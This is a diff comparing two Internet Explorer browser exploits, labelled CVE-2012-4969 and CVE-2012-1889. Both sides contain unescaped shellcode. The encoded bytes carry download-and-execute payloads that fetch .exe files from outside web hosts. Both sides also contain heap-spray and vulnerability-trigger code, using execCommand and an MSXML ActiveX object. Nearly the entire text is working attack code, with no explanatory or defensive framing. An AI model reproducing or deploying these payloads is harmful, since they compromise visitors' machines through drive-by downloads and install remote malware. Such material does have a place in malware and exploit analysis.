CVE-2012-4969 diff with CVE-2012-1889

184c184
<         var shellcode = unescape("%u9090%u9090%u11E8%u0001%uC300%u00E8%u0000%u5800%uC083%u2D04%uFE86%uFFFF%u55C3%uEC8B%u5352%u558B%u3308%uF7C0%u32D0%uB302%uD108%u73E8%u3505%u8320%uEDB8%uCBFE%uF375%u3A80%u7400%u4203%uE7EB%uD0F7%u5A5B%uC2C9%u0004%u5651%u3357%u64C9%u358B%u0030%u0000%u768B%u8B0C%u1C76%u468B%u8B08%u207E%u368B%u4F38%u7518%u5FF3%u595E%u55C3%uEC8B%u5657%u5153%u7D8B%u8B08%u3C5F%u5C8B%u783B%uDF03%u4B8B%u0320%u084D%u3356%u42D2%u348B%u0391%u0875%uE856%uFF87%uFFFF%u453B%u750C%u5EEE%u4B8B%u0324%u084D%uB70F%u5114%u4B8B%u031C%u084D%u458B%u0308%u9104%u5B59%u5F5E%uC2C9%u0008%u8B55%u83EC%uFCC4%u758B%u8B08%u33FE%u33C0%u49C9%uF2FC%uE8AE%uFF78%uFFFF%uAD68%u34D1%u5041%u90E8%uFFFF%u56FF%uD0FF%u4589%u83FC%uFC7D%u7400%uEB19%uFF0F%uFF37%uFC75%u78E8%uFFFF%u89FF%u8307%u04C7%u3F81%u6161%u6161%uE975%uC78B%uC083%uC904%u04C2%uE800%uFEFE%uFFFF%u06EB%uE850%uFFA2%uFFFF%u3880%u7500%uC3F5%u8B55%u81EC%uF8C4%uFFFB%uE8FF%uFEE2%uFFFF%uD88B%uD8E8%uFFFF%u8DFF%u297B%uBD89%uFBFC%uFFFF%uC033%uC933%uFC49%uAEF2%uBD89%uFBF8%uFFFF%u538B%u6809%u0400%u0000%u858D%uFC00%uFFFF%uFF50%uFCB5%uFFFB%uFFFF%u8BD2%u2053%u006A%u006A%u858D%uFC00%uFFFF%uFF50%uF8B5%uFFFB%u6AFF%uFF00%u8BD2%u0D53%u006A%u858D%uFC00%uFFFF%uFF50%u8BD2%u1153%u6A50%uFFFF%uC9D2%u4BC3%u7265%u656E%u336C%u0032%u8A5A%u2B1D%u2C4F%u2845%u50AF%u41A0%u6161%u6161%u7255%u6D6C%u6E6F%u1900%uC3D4%u6192%u6161%u0061%u5425%u4D45%u2550%u635C%u2E61%u7865%u0065%u7468%u7074%u2F3A%u612F%u7072%u6765%u6967%u386F%u632E%u6D6F%u632F%u756F%u746E%u392F%u3731%u652E%u6578%u0000");
---
>         var shellcode = unescape("%u9090%u9090%uD2E9%u0000%u5F00%uA9E8%u0000%u8B00%u8BE8%u6AF7%u5905%u58E8%u0000%uE200%u68F9%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uE88B%u016A%uE859%u003F%u0000%uF9E2%u38E8%u0000%u8100%u00EC%u0002%u8B00%u53DC%u0068%u0002%uFF00%u0456%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5057%u56FF%u8B14%u50DC%uFF53%u0856%u006A%uFF6A%u56FF%u510C%u8B56%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uD63A%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u5EAB%uC359%u5651%u3357%u64C9%u358B%u0030%u0000%u768B%u8B0C%u1C76%u468B%u8B08%u207E%u368B%u4F38%u7518%u5FF3%u595E%uE8C3%uFF29%uFFFF%u4E8E%uEC0E%uCA33%u5B8A%uFE98%u0E8A%uB983%u78B5%uC61B%u7946%u1A36%u702F%u1A4C%u702F%u7468%u7074%u2F3A%u772F%u7777%u642E%u6169%u6962%u336F%u632E%u6D6F%u642F%u652E%u6578%u0000");
196,203c196,210
<
<         function SubtleArr() {
<             document.execCommand("selectAll");
<         };
<
<         function TestArray() {
<             document.write("imgx");
<             parent.imgx.src = "AAAA" + int_to_hex(spraybase+0x70) + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
---
>         var src = int_to_hex(spraybase+0x70);
>         while (src.length < 0x1002) src += src;
>         src = "\\\\xxx" + src;
>         src = src.substr(0, 0x1000 - 10);
>         var pic = document.createElement("img");
>         pic.src = src;
>
>
>
>         var obj = null;
>         obj = new ActiveXObject("Microsoft.XMLDOM");
>         for(var i=0; i<100; i++)
>         {
>             pic.nameProp;
>             obj.definition(0);